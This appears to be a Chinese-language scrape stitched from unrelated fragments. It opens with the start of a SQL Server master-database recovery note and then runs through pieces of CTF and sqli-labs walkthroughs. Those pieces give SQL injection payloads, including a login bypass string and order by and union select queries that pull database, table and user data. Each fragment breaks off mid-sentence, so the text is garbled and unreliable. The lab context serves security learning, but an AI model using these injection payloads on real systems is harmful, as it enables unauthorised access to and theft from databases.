一.准备条件 a) 假设Master 数据库Hung:关闭SQL Server 服务(关闭MSSQLSERVER,SQL Server Agent其他的没有影响),然后剪切C:/Program Files/Microsoft SQL Server/MSSQL.1/MSSQL/Data 下面的master.mdf 和 mastlog.ldf. b) 启动 MSSQLSERVER 会报告错误 a) 启动SQL Server Agent会报告错误 b)
第一关 万能密码:username='or '1'='1'# password=1 即可登录得到flag. 第二关 最基础的注入,order by 判断字段数,然后 union select 查询表,列,字段. payload:id=1 union select 1,database(),3 from information_schema.tables where table_schema=database()%23 得到数据库名,之后自己发挥.... 第三关 懵逼了很长时间,一
第六关: 点击 click me,构造url:user=1',返回user not found.user=1'',同样. 猜测是数字型注入,构造order by , user=1 order by X#,得出有5个字段. 然后,user=0 union select 1,2,3,4,5#,说user not found.不是吧.... 用username试试吧,user=0 union select 1,username,3,4,5 from level6_users where status
学习sql注入的必做靶场我终于来尝试一下下了. 第一关 ?id=1'时出现 在测试?id=1' and '1'='1,页面正常 ?id=1' and '1'='2 页面错误 判断存在单引号字符型注入 判断列数 ?id=1' order by 3-- -时正常 ?id=1' order by 4-- -时错误 有3列 判断回显点 ?id=1' union select 1,2,3-- - 2,3可回显 后查库,查表,查列,查字段 ?id=-1' union select 1,2,databas